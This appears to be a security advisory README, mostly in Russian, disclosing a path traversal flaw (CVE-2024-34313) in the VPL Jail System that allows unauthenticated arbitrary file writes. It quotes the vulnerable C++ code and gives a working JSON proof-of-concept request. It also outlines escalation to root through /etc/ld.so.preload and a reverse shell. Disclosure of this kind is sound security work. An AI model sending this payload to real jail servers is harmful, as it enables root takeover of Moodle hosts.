
☣️ This repository contains the description and a proof of concept for CVE-2024-34313
VPL Jail System до версии v4.0.2 содержит уязвимость Path Traversal, позволяющую произвольно перезаписывать файлы и тем самым повышать привилегии до root.
Эта уязвимость может быть объединена с CVE-2024-34312 для удалённого захвата экземпляра Moodle без какой-либо предварительной аутентификации.
Сервер изоляции (jail server) — это C++ сервер, который выполняет непроверенный код в изолированной среде от имени непривилегированного пользователя. Сервер ожидает входящие соединения на указанном порту и для каждого соединения создаёт новый процесс.
Функция commandUpdate в jail.cpp получает от клиента карту файлов и их содержимое.
ProcessMonitor::writeFile вызывается с именем файла и его содержимым и просто объединяет домашний каталог пользователя jail с именем файла для получения полного пути.
Затем файл записывается в файловую систему с помощью Util::writeFile.
Это позволяет атакующему записывать произвольные файлы в файловую систему через path traversal.
Эта уязвимость может быть использована атакующим для перезаписи /etc/ld.so.preload путём указания пути к shared object файлу, который будет загружаться каждым динамически слинкованным исполняемым файлом в системе, как описано здесь. Этот shared object файл затем может быть использован для выполнения произвольного кода с правами root, например, для запуска reverse shell. Чтобы упростить эксплуатацию, shared object файл также загружается при каждом выполнении setuid binary, а запрос к серверу может включать скрипт, который попытается выполнить setuid binary (например, sudo), обеспечивая немедленную загрузку shared object файла.
В конфигурации jail-системы по умолчанию атакующему не требуется аутентификация.
Пример полезной нагрузки для записи «hello-world.txt» в корень системы:
{
"method": "request",
"params": {
"filestodelete": [],
"files": {
"../../../hello-world.txt": "Hello, world!"
},
"fileencoding": {
"../../../hello-world.txt": 0
},
"adminticket": "82350372182271",
"pluginversion": 2021061600,
},
"id": "3-32354-684945600",
}
Adminticket можно легко получить, отправив неаутентифицированный запрос к jail-системе. Несмотря на название, это всего лишь форма сессионного токена. Двоичные файлы в кодировке Base64 могут быть загружены путём установки fileencoding в 1.
Фрагмент уязвимого кода приведён ниже.
bool Jail::commandUpdate(string adminticket, RPC &rpc){
processMonitor pm(adminticket);
try {
mapstruct files = rpc.getFiles();
Logger::log(LOG_INFO,"parse files %lu", (long unsigned int)files.size());
mapstruct fileencoding = rpc.getFileEncoding();
//Save files to execution dir and options, decode data if needed
for(mapstruct::iterator i = files.begin(); i != files.end(); i++){
string name = i->first;
string data = i->second->getString();
if ( fileencoding.find(name) != fileencoding.end()
&& fileencoding[name]->getInt() == 1 ) {
Logger::log(LOG_INFO, "Decoding file %s from b64", name.c_str());
data = Base64::decode(data);
if ( name.length() > 4 && name.substr(name.length() - 4, 4) == ".b64") {
name = name.substr(0, name.length() - 4);
}
}
Logger::log(LOG_INFO, "Write file %s data size %lu", name.c_str(), (long unsigned int)data.size());
pm.writeFile(name, data);
}
return true;
}
catch(...){
// ...
}
return false;
}
void processMonitor::writeFile(string name, const string &data) {
string homePath = getHomePath();
string fullName = homePath + "/" + name;
bool isScript = name.size()>4 && name.substr(name.size()-3) == ".sh";
if (isScript) { //Endline converted to linux
string newdata;
for (size_t i = 0; i < data.size(); i++) {
if (data[i] != '\r') {
newdata += data[i];
} else {
char p = ' ', n = ' ';
if (i > 0) p = data[i-1];
if (i + 1 < data.size()) n = data[i + 1];
if (p != '\n' && n != '\n') newdata += '\n';
}
}
Util::writeFile(fullName, newdata, getPrisonerID(), homePath.size() + 1);
}else{
Util::writeFile(fullName, data, getPrisonerID(), homePath.size() + 1);
}
}
static void Util::writeFile(string name, const string &data,uid_t user = 0,size_t pos = 0){
FILE *fd=fopen(name.c_str(),"wb");
if (fd == NULL) {
string dir = getDir(name);
Logger::log(LOG_DEBUG,"path '%s' dir '%s'",name.c_str(), dir.c_str());
if (dir.size())
createDir(dir,user,pos);
fd = fopen(name.c_str(),"wb");
if (fd == NULL)
throw HttpException(internalServerErrorCode
,"I can't write file");
}
if (data.size() > 0 && fwrite(data.data(), data.size(), 1, fd) != 1) {
fclose(fd);
throw HttpException(internalServerErrorCode
,"I can't write to file");
}
fclose(fd);
if (lchown(name.c_str(),user,user))
Logger::log(LOG_ERR, "Can't change file owner %m");
bool isScript = name.size() > 4 && name.substr(name.size() - 3) == ".sh";
if (chmod(name.c_str(), isScript ? 0700 : 0600))
Logger::log(LOG_ERR, "Can't change file perm %m");
}